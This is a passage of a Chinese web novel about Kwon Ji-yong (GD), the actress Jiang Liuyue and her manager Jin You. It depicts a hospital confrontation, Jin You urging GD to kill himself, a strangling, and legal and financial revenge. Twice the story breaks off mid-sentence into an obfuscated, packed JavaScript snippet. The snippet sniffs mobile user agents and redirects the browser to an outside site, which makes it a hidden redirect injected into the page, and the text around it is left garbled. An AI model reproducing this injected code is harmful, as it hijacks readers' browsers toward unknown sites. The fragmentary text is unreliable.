人怎么能这样被另一个人草率的玩弄呢塔伊。 你怎么能这样若无其事的出现在我的面前,靠近我,抚摸我,说爱我呢。 这到底是你的宽恕。 还是你的惩罚呢。 塔伊? 45.Tick Tick (上) 45.Tick Tick(上) 仅仅只隔了两天,权志龙再次出现如此强烈的身体不适和晕眩,这下大家都开始重视起来,哪怕这会儿权志龙似乎已经缓过劲儿来了,也都赞成他放弃接下来的集体环节去医院先治疗。 权志龙没有说话,他只是紧紧地攥着江留月的手腕,江留月被他捏的一定很痛,手腕的肌肤都有些发青了,但她却反握了权志龙 的手,有一下没一下的轻拍着安抚着他,自己则跟老虎哥还有舜浩他们说着要怎么去医院的事情。 “……我没事。” 权志龙一开口就被自己的嗓子吓一跳,他又咽了口口水,旁边的工作人员很有眼力见的立刻递上一瓶插着吸管的水,他就着喝了 两口,开始主张完成集体环节之后再去医院。 因为是加场,杨贤硕并不在,这时候谁也不敢跟他唱反调,江留月想要再说什么,权志龙却已经将脸埋在她的腰腹处,用含糊的 声音说道:“让我抱一会儿就好了。” 她站着,权志龙坐着,一个大男大半个人都塞到她怀中,江留月几乎动弹不得,只好先给舜浩做口型,毕竟演唱会现在还在进行 中,距离所有艺人一起的合家欢环节还有约莫一个小时的时间,不如先观察一下。 舜浩点头,将其他人都驱散开来,立刻有工作人员推着移动屏风过来将这块暂时隔出一个单独的空间。 没有人那么多人围在旁边,权志龙好受了许多,江留月也放松了不少,她摸着权志龙的头发轻声问他有没有好一点,嘀咕着上次 就不应该那样出院,应该好好的做一些检查,软软的轻飘飘的声音像是一个个肥皂泡飘在空气里,折射出五彩斑斓又脆弱的光 线。 权志龙只觉得自己被包裹在温暖的被子里,整个人都晕乎乎的。 他真的要分不出真假了。 甚至觉得自己可能睁开眼睛,发现自己又躺在病房里,隔壁房间的仪器运转的嗡嗡的声音,即便隔着房门也听得到。 失重感和眩晕感交替出现,他像是在独木桥上一脚踩空,只能紧紧地抱着怀里的人。 “看来是真的很难受了。” 江留月叹了口气。 权志龙是很爱撒娇没错,但工作上,他一直都是一丝不苟的完美主义者,即便是发着高烧也要完成自己的舞台的人,即便是下了舞台就直接晕过去也要跳完每个舞步的人,在面对工作人员的时候一直逞强说没事儿的人,得是多难受才能一直抱着她微微发抖 啊。 “去医院吧,哥?” 江留月摸了摸他的脸,她只觉得权志龙的脸颊很冰。 “我这边一结束就会去的。” 权志龙抗拒的皱着眉。 他此刻真的不愿意离开江留月,哪怕是梦也好,是2014年本来就存在于这个时空的江留月也好,他有一种说不出的抗拒此刻和她 分开。 虽然已经来了好几天,虽然已经耳鬓厮磨已经接吻拥抱过,但此刻却仿佛才是时隔八年真正的重逢一样,连一分一秒都让他觉得 很珍贵。 他于是像个小孩子一样皱着眉,用带着央求的眼神看着江留月。 江留月没忍住笑了,低下头亲了亲他的嘴唇。 “乖乖在医院等着我,结束之后,我用跑的来见你。” 蜻蜓点水一样的吻。 江留月嘴唇上唇膏有点点黏黏的触感。 权志龙的晕眩感更为强烈,他连呼吸都在发抖,本来紧攥着她的手,不知不觉的松开了。 “我们待会儿见,哥。” 江留月又亲了他一下。 说不清楚是幸福还是恐惧,权志龙一直在发抖。 他混乱不已,这样下去他恐怕要做出一些不受控制的事情,说出一些不该说的话了。 权志龙最终还是同意去医院了,好在这次演出服不算奇形怪状,脱掉华丽的舞台装外套之后,他戴上口罩帽子,被舜浩送去了医 院。 因为害怕粉丝看到,他们是直接开车去的医院,到了之后已经有医生在等候了。 先测量了血压心率,两个都不太正常,尤其是心率,医生让权志龙去做一个精密一些的心电图,又来询问过往病史。 因为刚出院不过两天又出现这种症状,医生虽然当下没查出什么明显问题,也要做比上一次更精密的检查。 “……稍等一下吧,我现在觉得有点晕眩,能不能等我舒服一些再安排这些检查?” 权志龙制止了这一切,医生也确实查不出他现在有什么问题,于是给他先安排了一些输液,将他送入了VIP病房。 权志龙安排舜浩去演唱会,等结束后接江留月先回家收拾一些衣服来,等到舜浩走了,他便下了另外的指令。 “让那个人来见我吧。” 几乎是离开体育馆的那个时刻,老虎哥已经按照指令找人去带金优过来了,这几天,他不被允许进入工作场所,一直在权志龙安排的监视下在自己家里生活。 权志龙猜这个人也很想见自己,也正如他想的那样,去的警卫说明了情况之后,金优非常配合的来了,还一直都在隔壁房间等待 着。 权志龙看了一下墙壁上的挂钟,此时演唱会已经进入了尾声,但艺人们需要分批次离开,再加上大量粉丝会堵在下班路上想要再 见一面,江留月即便现在就匆忙出发,也会因为交通的问题迟迟无法离开。 自己大约有三小时左右的时间来解决这个家伙。 这些天来,权志龙接收到的信息实在是太多太杂,他的脑子其实一直是过载处理,但这一刻,看到金优推开门走进来的瞬间,权 志龙却什么都想不到了。 他很清楚金优做了什么,就像是此刻,金优看着他那带着怨毒又带着讥讽的眼神表明,他也知道眼前的权志龙绝非2014年的本尊 那样。 “我们上次见面,也是医院吧。” 权志龙敛去表情,语气却带着轻飘飘的笑意。 “这也是缘分呢。” 金优沉默而阴郁的看着他。 被当面打脸驱逐之后,他就意识到,权志龙也来了。 真烦人啊,这家伙,阴魂不散呢完全。 本来2014年的权志龙就很烦了,如今来了这个家伙,更让他感到痛苦,一直觉得胸口憋闷,呼吸困难,仿佛有什么东西抓挠胸口 一样痛苦。 主动提到上次见面,就像是一见面,就把人丢在地上踩一样。 金优嘶嘶的呼吸着,怨毒的双眼盯着权志龙,此时穿着病号服盘腿坐在病床上,一只手还打着点滴,个子不高,也不算是什么健 壮的人,凭什么敢这样用这种看垃圾的眼神看着自己呢? 如果现在抓着这家伙的头发把他撞向墙壁,再踩着他的四肢,会不会就改掉这傲慢的臭毛病呢? 金优的手指在蜷缩,他想要撕烂眼前这个人的冲动达到了顶点,但—— 他只能喘着粗气忍住。 权志龙在调节自己的输液管,他对于这显而易见的恶意并不在乎,而是冷淡的看着对方:“怎么了,还想吃一次牢饭吗?” 耻辱感骤然从脚底升腾,金优尝到了嘴里传来的血腥味。 彼时。 江留月推出抢救室之后不久,权志龙就赶到了,他先去看了昏迷中的江留月,只是允许自己崩溃了几分钟,就随着医生走进病房 的脚步清醒过来。 江留月的病情了解、治疗方案、手术风险……权志龙顶着通红的双眼竭尽冷静的和医生进行商谈,他手下有许多精明能干的顾 问,立刻接手了江留月的医疗保险和账户的相关问题,接下来,权志龙还要想办法处理媒体等等复杂的难题。 金优就是这个时候来到医院的,他脸上带着伤口,看起来同样是双眼通红,他来到医院之后,简单的了解了江留月的病情,就提 出了一个在所有人看起来都匪夷所思的提议。 “我要以江明月监护人的身份,把她带回中国去接受治疗。” 不管医生怎么强调,江留月如今的情况,但凡脱离ICU,就很可能迅速引发器官衰竭,不可逆转的走向死亡。 金优都是十分坚决的,传达着这样的说法,并且立刻让手里的人开始准备从权志龙手里人接手江留月的医疗团队。 权志龙急匆匆的从办公室赶过来,和金优在江留月的病房外遇见。 一开始,权志龙还试图好好沟通,他用尽量平稳的语气告知金优,江留月在首尔接受治疗是目前最合理的方案,为了让对方相信 自己没有私心,他表示愿意将手下的人都给金优去使用。 权志龙很清楚,自己早就没有干涉江留月治疗的立场和权力,他只是不希望金优因为狭隘的嫉妒或者别的什么原因,让江留月再 次陷入危险之中。 可是无论如何交涉,如何说的口干舌燥,如何他恳切的拜托,金优都只有一个决定。 那就是他要带走还在昏迷中的江留月,要她维持这个状态进行跨国转院。 作为江留月的监护人,他的确有那个权利,在那一叠一叠的文件上进行签字。 医生也是束手无策,在劝说无果之后,权志龙让他先离开,自己再次努力想要说服金优。 “……你想要什么样的保证都可以,至少让她醒过来,安全的回去吧。” 权志龙脸上的肌肉都在抽动,但是他仍然拼命试图挤出一个看起来足够让人信任的笑容。 “这和你没关系。” 金优居高临下的,冷冰冰的说道。 他看着权志龙的双眼里,充满了恶意的嘲弄与嗤笑。 “GD xi,你是用什么身份在这里跟我说话呢?” “看起来是什么身份都没有呢。” 金优坚持要把江留月现在立刻就转院回去,权志龙不可能允许这样的事情发生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048907|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在僵持中,金优冷笑一声,直接开始报警。 他要宣称权志龙伙同医院非法囚禁江留月,并要以监护人的身份立刻带江留月回中国去。 “你这样会害死她的。” 权志龙气得浑身发抖,他竭力控制住自己的理智,忍着口腔泛着的血腥味,深呼吸几次之后,用近乎低声下气的口吻说道: “……你想要什么,我都可以给,别这样对她……”他艰难的喘口气,声音克制不住的发抖:“她、她还活着……你怎么能这样 对她。” 金优死盯着他。 好一会儿,像是终于欣赏够了权志龙这卑微的样子,才笑着说道: “那你可以去死吗?” “如果你死的话,我就让她接着在韩国接受治疗怎么样?” 权志龙怔怔的看着金优。 金优也靠近一步,用只有两个人能听到的声音说道:“你看,窗口就在那里,只要你跳下去,我就会遵守约定,如果跳楼不行的 话,你也可以开着车去随便撞点什么,割腕也好,吃药也行……去死啊。” 他声音里充满了怨毒和兴奋。 权志龙则急促的喘息着,淡褐色的瞳孔微微抖动。 “你死掉的话,她才能活啊。” “如果你真的那么令人作呕的深爱着她的话,现在就为了她去死。” 金优如同魔鬼一般的对权志龙低语道。 权志龙的呼吸变得破碎起来,他身体摇晃了一下,险些摔倒在地上。 金优甚至觉得无趣的咂了一下嘴。 传说中无所不能的权志龙,也就是一个无能软弱的男人罢了。 既会被旁人的话语蒙蔽双眼,也会因为被抓住把柄无能为力。 看着权志龙几乎要被压垮了,金优等的有些不耐烦,于是决定加个码:“那么舍不得死的话,你也可以看着她去死不是吗?” “这种场景,说实话,我也一样很期待。” 权志龙霍然看向他,眼珠子几乎是瞬间就要渗出血色,几乎不敢置信自己听到了什么。 他立刻下意识的胸口涌出干呕的感觉。 这太恶心了。 他面前的这个家伙,恶心的令人作呕。 “别用这种眼神看着我啊,GD xi。” “说实话,你难道没有过这样的想法吗?” “她已经三十三岁了,女人最美丽,最具有韵味的年纪也马上过去了,接下来的,就只有衰老。” “明月她啊,几乎已经做到了自己事业里能做到的极限,演戏也好,唱歌也好,说实话,她已经走到了最顶端了。” “如果能死在这个时候,我觉得,特别好。” “她会永远留在最迷人的时候,所有人都会疯了一样的爱她,永远爱她。” “不会变老,也不会变坏,不会走下坡路,更不会掉到泥潭里,就像是月亮,永远悬在天空上。” 金优深呼吸了一下,脸上浮现了一丝病态的笑容,他看向权志龙。 权志龙一直在听着他说的话,整个人都是木然的看着他,嘴角已经渗出血来,只有双眼直勾勾的看着他。 金优笑了:“这才像是她,不是吗?” 金优的心中,在这一刻,油然而出一种满足感。 是了。 明月。 我美丽的、冷漠的、总是那么无私照亮深渊,却又永远不肯只看着一个人的无情的女神。 你既然被我们推举成神明,挂在天空当月亮。 那就永远在天上吧。 在自己登顶的时刻,在无人能触摸到你的裙摆,无人能越过你的美丽和神性的时刻,在和过去结满仇怨和遗憾,隔着时光荏苒后必然会解开的重重误会,被人怨恨也被人发疯一样的爱着,然后毫无征兆的死在冰雪中,这样的结局,最适合你了。 “……你怎么能……” 权志龙话都说不出来了,他浑身都发冷,甚至开始耳鸣。 他这样的样子取悦了金优,因为金优知道,权志龙终于明白,他不是在开玩笑也不是在恐吓,他是真的可以送江留月走上黄泉 路,而且,非常愿意这样做。 “因为我爱她呀。” 金优笑嘻嘻的说道:“我真的爱她爱到不知道如何是好了。”【注1】 “怎么了,GD xi,你难道不爱她吗?你难道不愿意为了让她活下去,献出自己的命吗?” 金优胜券在握。 他给了权志龙两条路来选择。 “你去死,我就愿意,让她继续留在首尔接受治疗,等到她醒来之后,让她自己来决定是否离开。” “你不去死,那就来和我当共谋吧。” 金优露出一个笑容,他的眼睛是那么恶毒而幽暗,嘴却咧开很大,笑得很灿烂: “我们来谋杀月亮吧。” “你不死的话,就是要让她死。” “那落下的刀,怎么会没有你的功劳呢,GD xi。” 46.Tick Tick(中) 46.Tick Tick(中) 金优期待着权志龙的反应。 这个软弱的,被爱吊着脖颈,勒着喉咙的男人。 快快崩塌、坠落、消亡、被毁于一旦吧。 明月啊。 你所爱慕、追求、仰望的这座神明,也不过是个卑劣的,在自己的生命前退缩,只知道张嘴说爱的人,又或者,只是一个被无聊的情感操控,没有灵魂也没有尊严的木偶。 不管哪一种,他都只会让你失望。 除非他来当我的共犯。 他可一定要是我的共犯啊。 金优志得意满,于是更进一步,权志龙几乎要被他逼到角落里。 他终于抬起头。 一双通红的双眼,仿佛血雨和岩浆一同涌出一般。 权志龙心口有一股火在烧,炙烤得他的胸膛像是要裂开一样。 他看着眼前这个疯魔的扭曲男人,前所未有的,感到了想要杀人的冲动。 “……你这样做,想过后果吗?” 权志龙的声音在抖。 “别挣扎了,权志龙。” 金优看出他的恨意,但他反而更加得意了: “能有什么后果呢?” “你就算真的闹到媒体上去,也没有人会站在你这边的。” “你忘记了吗?” “韩国是她逃离的牢笼,把她救出去的人是我。” “我是光明的骑士,正义的化身,而你呢,只是她想要抛弃的过去罢了。” “就算是她真的死了,日后世人提起来,也是我护送她落叶归根,我还会守在她的陵园,接待每一个为我们之间真挚情谊落泪的 人,而你呢,会被永远拒绝入内,所有爱她的人,都会耻于提到你的名字。” 权志龙的呼吸都顿住了,他的脑子反而变得很清醒,因为,他知道,金优说的,极大概率,会成为真的。 他之前从未想过,金优是这样的人。 这八年来,他一直都关注着江留月,她回到国内之后,尽管小有波折,但星途顺利,不过三年光景就已经完成登顶,金优始终陪 伴她的左右,是她最为信任的左膀右臂。 他与金优的会面,这个男人也是以无微不至的保护者身份面向他,江留月对他的信任和依赖,远超于他认知的所有人。 为什么…… 这样一个魔鬼在他小心翼翼养育的珍宝身旁,他却毫无察觉? 为什么这样一个扭曲的混蛋会拿到江留月的监护权,会得到她的信任? ……为什么? “别问为什么了。” 权志龙忽然听到有人说话。 他回过头,却看不见对方的脸。 只能听到对方冰冷的声音。 “你不应该很清楚吗,权志龙,因为你也是这样的人啊。” 贪婪的索取、膨胀的占有欲、扭曲的嫉妒心,像是恶龙一样盘踞在她的身旁,却还要露出伪善的绅士面孔。 假借着前辈和哥哥的身份,模糊应有的社交距离,一步步腐蚀她的戒备,精心打造她一步步走进来的陷阱,扭曲了她对正常社交 的观感,教唆她在这个世界能够依赖信任的人只有自己,高塔公主能够离开塔的魔法长发,成为勒紧她呼吸的绳索。 【这都是为了你好啊,宝贝。】 【这都是因为我太爱你了啊,宝贝。】 【怎么办呢,不想让你被别人看到。】 【只看着我。】 然后,用伪善的绅士面孔,在公众面前、粉丝面前、他人面前,若有似无的肢体接触,惊世骇俗的占有宣言,不知不觉中,尽管 还没有拥有她,已经被世人默认,是高塔公主的拥有者。 【塔伊呢,好像不喜欢男性,觉得看到都会害怕,可是这孩子唯独对我不害怕呢,还会打哥哥呢,真是令人伤脑筋的小孩。】 【塔伊啊,为什么不跟哥讲话,呀,你这个没良心的小孩,你去大学的时候,是谁每天开车送你上下学的。】 【塔伊来这里的账单全部挂在我的卡上就行了。】 【我的都是塔伊的,我那么努力挣钱是因为家里有个什么都喜欢的小孩子。】 【塔伊,别人欺负你的话,就报哥哥的名字吧。】 因此,那孩子被你养在高塔上,被称之为龙的宝物。 因此,那孩子是一头被圈养在水族馆里,孤独的发出52赫兹频率的白鲸。 因此,那孩子的孤独、心事、无法诉说的郁闷,成为了恶魔叩开心门的钥匙,这简直太容易,太简单了,雷同的经验,同样的苦闷,随意捏造的烦恼,都可以让她信以为真,好不容易契合的52赫兹,一定是同类的归属感,让她轻易的交付自己的信任。 因为从小开始,就因为龙贪婪的欲念而被随意的摸头、牵手、扶着肩膀,因为被告知‘这是哥哥对你好的证明’,所以觉得这样 也没关系,却成为他人判断她与恶魔关系的基准。 众人的呼声越来越大,流亡的高塔公主被任意判定归属。 “这都是你的错,权志龙。” “你把她养成了这样,你去倾泻爱意的时候,她应该是很害怕的,可她哪怕感受到了痛苦,也以为这个世界的爱,大抵都是如此令人痛苦,需要忍耐的。” “被囚禁了也不知道被囚禁,以为自己逃跑了,却只是从一个牢笼到另一个牢笼。” “面对谎言和精心伪装的爱护的时候,她一定以为自己得到了真心吧。” “这都是你的欲念、贪婪种下的恶果。” “这都是你的错。” 是吗。 原来是这样。 那,这个错误。 就由我来更正好了。 金优不知道权志龙在想什么,他看着对方不停发抖的手,于是凑得更近,催促权志龙快些去死。 下一秒,权志龙直勾勾的看向他,金优不知道为何,忽然心底生出一种寒意,但,他想要躲避,却已经来不及了。 权志龙都忘记当时是怎么发生的了。 他只记得金优的眼球快要爆开的血红色,人在肾上腺素的刺激下爆发出惊人的破坏力,几个医生和警卫,才将掐着金优脖子的他 扯开。 金优剧烈的咳嗽着,狼狈的干呕,他刚才那种自负的傲慢荡然无存,只是声嘶力竭的说要告他,要报警抓他。 权志龙却前所未有的冷静。 他盯着金优,露出了一个笑容。 “杂种啊。” “我来说一件事情吧。” “因为你不是韩国人,所以大概不太懂韩国的规则。”【注1】 他在警卫的搀扶下站了起来,踉跄着走到了金优面前,金优想要挣扎,却被警卫们按得结结实实。 权志龙的眼睛红的要滴血,他的嘴唇和手都还有些颤抖,在刚才的打斗中,他也受了伤,脸颊和额头都是淤血,嘴角也撕裂了。 但他慢慢站直了,用大拇指擦去了自己脸上的血痕,然后慢慢的平复呼吸,过了几秒之后,才看着金优,慢条斯理的说道: “这个国家呀,只有值钱的东西,才能讲道理。”【注2】 金优当时不懂,他甚至不懂权志龙为什么直接让报了警,警方把两个人都抓走调查,记者的闪光灯简直照亮了半边天。 明明作为艺人的权志龙,应该是弱势方,他怎么敢?! 金优被带去了看守所和权志龙分开关押,对方表情一直很平静,不多时,双方的律师团就都赶到了。 权志龙先被保释了,助理还带来了衣服要给他换,权志龙自己拒绝了,然后就穿着那乱七八糟的衣服径直出去了。 金优的律师团队则慢一些,但却没有能做到保释,因为权志龙留下的律师团队抱着一大堆文件坐到了调解室里,然后出具了一个 天价的赔偿单。 金优表示不可思议,论受伤程度,两个人其实差不多,而且,是权志龙先动手的!! 可惜,房间里没有监控,无法确认谁先动的手,只能判定为互殴。 金优气疯了,大喊警卫们冲进来的时候权志龙还掐着他的脖子要把他给掐死了。 警察比他还莫名其妙:“呀你的意思是说,比你矮了一头的那个人,把你死死摁在地上掐着你的脖子,你无法反抗吗?” 警察都觉得荒谬的笑了:“你小子……而且警卫们也说了,当时太着急分开你们了,所以也什么都没看清楚。” 金优这才意识到,那些警卫都是权志龙雇佣的,怎么可能会为他作证。 但,这天价的赔偿单,难道不是故意要滞留他的勒索吗? “普通人可能不会有这样的天价赔偿,但,您殴打的对象可是权志龙先生。” 权志龙的律师将一份份文件摆上桌子,很快摆满了一整张桌子,于是有律师起身又挪了一张桌子过来。 雪白的文件,给金优带来强烈的压迫感。 他哆嗦着不再说话。 “那位可是从头到脚,从头发丝到手指盖都有巨额保险的人。” “除了身体损伤带来的赔偿之外,这起事故还会带来许多其他影响,包括且不限于对所属社的股价、个人声誉、个人品牌价值的 赔偿。” 那位律师,始终用礼貌的笑容,说着礼貌的话语,却不知道为何,带着高高在上的嘲讽: “那位先生,是超出您想象的贵重的。” 金优知道权志龙出去的每一秒都很重要,他太着急脱身了,于是让律师立刻核算数字来支付,但,更糟糕的消息出现了。 他的大部分收入早就已经是在中国那边产生的,想要调取资金或者得到公司名下的法律援助,都需要层层审批。 金优疯了一样在警察局发疯,他顾不得自己,立刻让律师做代表,他要签授权让律师立刻找人给江留月转院。 “……让她死,让她死,让她死。” 他发狂的尖叫着: “我要让权志龙后悔这样对我,我要让他后悔!!!!!!” “他怎么敢这样对我……怎么敢这样羞辱我!!!!” 被他疯癫的样子震住的律师几乎是愣了好一会儿。 他几乎不可置信的重复着金优的话,然后愣愣的问道:“……您是说……要让明月她……死吗?” “金经纪人,您不是说,让明月回中国去,是因为,国内的医疗更好,让她更快痊愈吗?” 金优猛然僵住。 他意识到,自己说错话了。 整个调解室里,鸦雀无声。 不管是维持秩序的警察,还是双方的律师,都用一种看鬼的表情看着他。 有时候,逆转形势,只要一句话。 本身,公司的律师团队就并非忠于他,他们效忠的对象一直都是金优背后的江留月。 金优哆嗦了一下,然后下意识的反驳道:“不、不是的,这就是明月的想法,她自己的想法,她之前授权过我,如果遇到重大灾 祸,不要抢救她,让她平静的离开,,我只是……传达她的想法。” 没有人相信他。 形势几乎在瞬间就逆转了,中国这边的律师团队率先沟通要和权志龙那边正式对接沟通江留月的真实病情是否适合移动,金优迅 速失去了他们的信任。 接下来发生的一切,在金优看来,完全是纯粹的失控。 他因为袭击权志龙被关押在看守所里,那天开始,附近社区总是有人寻衅斗殴进来跟他关在一起,这些人总是会和他起冲突,他 又因为还手被判定为斗殴。 他失去了中国那边公司的律师团队,因此无人可支持他,最后能做的,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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xi,你可不是十几年后的你,你现在,也不过是有几个臭钱的爱豆罢了,我和你不一样,我可是……” 金优恶狠狠的话语说到一半,就顿住了。 因为,权志龙居然笑了。 他直接笑出了声,清秀无害的脸庞上露出这样的笑容,看着颇有几分无奈。 “你真是没什么长进……除了说一些作呕的话,也没什么别的能力了,你算什么东西呢……?” 权志龙清了清嗓子,敛去了脸上所有的笑意,淡色的眸子看向金优的时候,流露出一种无机质的残酷和嘲讽: “杂种。” 当年,姜宝银为了躲避来自明烛的关押,小三上位攀上了中国人,国籍也因此发生改动,金优跟随母亲一起前往中国生活,后面 勉强回家,又因为血统问题被放逐海外,直到后面姜宝银去世才又回到韩国。 金父出身宗族,又是宗族宗子,这种环境对于血统最是看重,金优从小到大,没少受到这种羞辱,也正如此,【杂种】正是他最 憎恶的称号。 强烈的耻辱感让金优浑身发抖,他攥着拳头,想要冲上去揍权志龙,可脚下不知道为何,却像是生了根一样,根本动弹不得。 真奇怪,明明面对2014年的权志龙的时候,还可以恶意的炫耀。 那时候的金优,觉得自己马上就掠夺走他的宝物,所以已经迫不及待的想要看到权志龙之后崩裂破碎的样子。 他怎么也想不到,只是短短时日,坐在他面前的,已经是自己的昔日噩梦。 权志龙年轻时,锋芒毕露,人人都说他不好惹,去个歌谣节目,后辈们甚至连问好都不敢凑上来,也曾经委屈的说过自己是个好 相处的人。 诚然,就连曾经出歌曲diss自己的人,权志龙也可以放下成见一起合作音乐作品,其胸怀已经是一般人难比的了。 再稍微年长一些,不管是录综艺还是私下,整个人都被打磨平和许多,即便面对媒体围剿,泼天污水,也至多不过翻个白眼甩个 脸色,几乎无人看到他暴跳如雷的不受控的样子。 也许太好说话了,加上他出手阔绰大方,大家都觉得,权志龙的脾气似乎真的很好。 “你竟然还活着呢。” 权志龙说话的时候,总有些发音不够清晰,因此含含糊糊的,像是在撒娇一般。 因此说出狠话的时候,很容易不被当真,听起来像是开玩笑。 但金优听来,却是一种带着令人头皮发麻的残忍感。 就像是无知觉虐杀蝴蝶昆虫的孩童,轻易抹杀毁坏之后,漫不经心又厌倦的样子,透着一股阴森的黏腻感。 他曾经对权志龙说过,让他在江留月和自己身上选一个人活下去。 他曾经以为,这是将权志龙逼到了绝处。 却不知道,是将自己逼到了绝处。 “我以为,你在破产之后,应该被讨债的人追着穷困潦倒的在冬天冻死在半地下室了。” 权志龙颇为烦恼的看着他,然后却有点恍然大悟一般: “是因为这样吗?因为穷困潦倒的死了一次了,所以才搞这些下三滥的东西,凭借着你母亲给你的神婆的血,搞了这些东西?” 权志龙轻轻地叹了口气。 他看起来情绪稳定到极点,只是说出的话,却比金优更像是鬼: “好吧,那就再玩死你一次。” “谢谢你啊,金优。” “本来只弄死了你一次,我就不是很解恨来着。” 47.Tick Tick (下) 47.Tick Tick (下) 在一个资本主义国家,足够有钱,本身就是能力的象征。 从幼年时期就混迹于娱乐圈,周旋于形形色色的人身边,年少成名,一手将团队带上巅峰时,权志龙尚不满20岁,至今屈指一弹,已近20年。 这20年中,不乏有财阀权贵前来拉拢,也难免有时候被卷入风波,或多或少受到栽赃污蔑,有过数万人请愿让他切断四肢再去自杀,也有数十万人肆意辱骂诋毁他,历经千帆而过,权志龙的心态被打磨得越发平和,反而归于质朴,有一种类似于稚子的纯真与温柔感。 在这样柔和的外表之下,权志龙摸透了他所存在的这个社会的残忍法则,他只是不喜欢运用这种法则。 这个世界的绝大部分都是无趣的,他并不想将自己的情绪和精力投注到里面去,因为对权志龙而言,大部分冒犯来自于嫉妒,反而是对他能力的承认、嫉妒与极端渴望,他宽恕这些人对自己的仰望,无非是看穿对方卑微的本质,懒得计较罢了。 但并不是所有的错误都会被宽恕。 权志龙这个人很有原则。 他只宽恕针对自己的恶意,从不替他人原谅什么。 金优趁着江留月昏迷的时候,罔顾她的生命安全要转院,无非就是为了藉着他自己经纪人的身份,和这些年来众人误认为的他和江留月的关系来吞并江留月留下的遗产和名声地位罢了。 江留月不醒来,谁有能替她来原谅呢? 权志龙和金优在这之前,几乎没有单独私下见过面,他调查过金优的家世,算不上普通也算不上优越,作为宗族混了一半‘中 国’血脉的的私生子,他可以跟着江留月去中国生活再也不回来,这是权志龙做不到的。 他是经纪人,可以24小时陪伴在江留月身边,不管是工作还是生活,都可以随叫随到,他性格稳定温和,只要是江留月的选择,就无条件支持她…… 这些都是权志龙这些年调查来的结果,金优不算是一个彻底的好男人,但他在这些年里,完全适配了江留月的人生。 权志龙问过无数次自己,能不能做到这样,答案从来显而易见。 他在分开的这些年里,开始觉得自己不懂江留月,又觉得,自己这个时候才开始明白江留月。 也许这孩子要的就是一个永远24小时陪伴着她的对象,要的就是故土熟悉的风土人情,要的就是攀登事业时带来的成就感,要的就是无论做什么都不会被阻拦的自由呢? 权志龙问了自己很多次,他始终没有答案。 但好在,命运昭揭恶鬼的真面目,权志龙总算是攥住了江留月即将流逝的最后一丝生机。 他无数次后怕,如果自己没有先赶到医院,如果医生们没有因为他和江留月相伴多年的关系先选择信任了他,后果会如何。 如果是那样的话,23年在巴黎的那次见面,就是永别了! 每次想到这个事情,权志龙就恨得心里滴下浓稠的毒液,这个恶鬼难道是在江留月出事之后才突然有这种想法吗?他真的有好好照顾到这孩子吗? 越是想这些事情,权志龙的怨恨就深刻一分,律师团队和那些‘道上的朋友们’得到的指令就更明晰一些。 如果这是中国,权志龙多半只能找找媒体来造势,抢占一部分舆论优势之后来逼迫对方,但,好在啊,这里是韩国。 这里是□□和高利贷、私人放贷、红灯区都合法的地方,是‘无钱有罪,有钱无罪’的地方。【注1】 虽然说人人都想要做一个守法公民,但细究起来,很多常见的行为都很可能踩着法律的红线,小到垃圾分类要去社区重新学习,细微到车辆没有停到正规的车位可能被拖走,大到兑换外币的时候有没有做银行申请,外出签证有没有做超出许可范围的之外的事情……想要从一个人身上找出错处,太简单了。 想要从一个从事娱乐圈行业,身在高级经纪人职位、操控好几个国家的经济事务并兼顾商务的经纪人的错处,更是不费吹灰之力。 更何况,金优本就是个漏洞满身的人。 罚款、冻卡、申请调查,先锁住所有的韩国账户,再让他无法缴纳钱的时候让滞纳金翻倍,金优自顾不暇的同时,权志龙将自己和他在医院打架是因为他要罔顾江留月生命安全强行转移江留月出院的消息爆了出来。 当天下午,这条新闻上了12国热搜头条,仅仅过了两个半小时,首尔大学医院就不得不让江留月的主治医生在公证处的见证下召开记者会公布江留月的治疗详情。 权志龙没有出面,他守在医院里不肯离开ICU病房这个行为,已远超于任何声泪俱下的控诉与撕心裂肺的声讨。 江留月对于韩国人来说的意义,和所有的在韩务工的中国艺人都不一样。 十五六岁就开始在综艺里客串,有过大热CF,代表过一代人的穿搭打扮潮流,综艺里创造过无数人记忆中的名场面。 尽管离开韩国多年,但这些年江留月产出许多影视作品,在东南亚各国影响颇大,奖项也相当亮眼,在韩国的社媒上讨论度甚至超过许多本土大热艺人。 当然许多人为了江留月当年和YG割席之后离开韩国愤愤不平,但如今有了金优这个幌子,大家忽然坚定的相信,她当年是被迫的,有隐情的,被蒙蔽的,罪魁祸首就一定是这个邪恶的男人。 他们可怜的、美丽的、脆弱的珍宝,昔日的国民鸢尾,从小看着长大的国民宝藏妹妹,只是一个无辜的受害者,如今还躺在医院里身受重伤的昏迷着。 这种近乎离奇的八卦简直太符合网友的胃口了,江留月的所有视频采访都被扒出来,还真让人发现,她近一年多的视频里,金优出现的频率很低,而且两个人几乎毫无交谈,每次金优试图单独相处的时候,江留月还会露出抗拒的表情。 还有一些知情人士顶着小号爆料说江留月和金优私下吵过很多次,江留月讨厌对方擅自处理自己的社交相关,并因为金优搞砸了几次商务而言辞激烈的责骂过对方。 这种状况,之前也吸引过粉丝和媒体的注意,但对此,金优的解释是江留月身体状态欠佳又强撑着工作,所以需要更好的照顾。 他陪伴在江留月身边太久了,作为经纪人,他是江留月对外的喉舌,再加上江留月自己本人在社交媒体上也说过自己会注意表情管理,并说她一直很感谢金优的陪伴,是值得信赖的伙伴,才将这件事情压了下去。 如今翻出来,这都成为江留月试图摆脱控制的铁证,最重要的是,金优的确是江留月的监护人,律师团队也证实,如果江留月发生万一,金优被江留月授权委托处理其身后事和遗产。 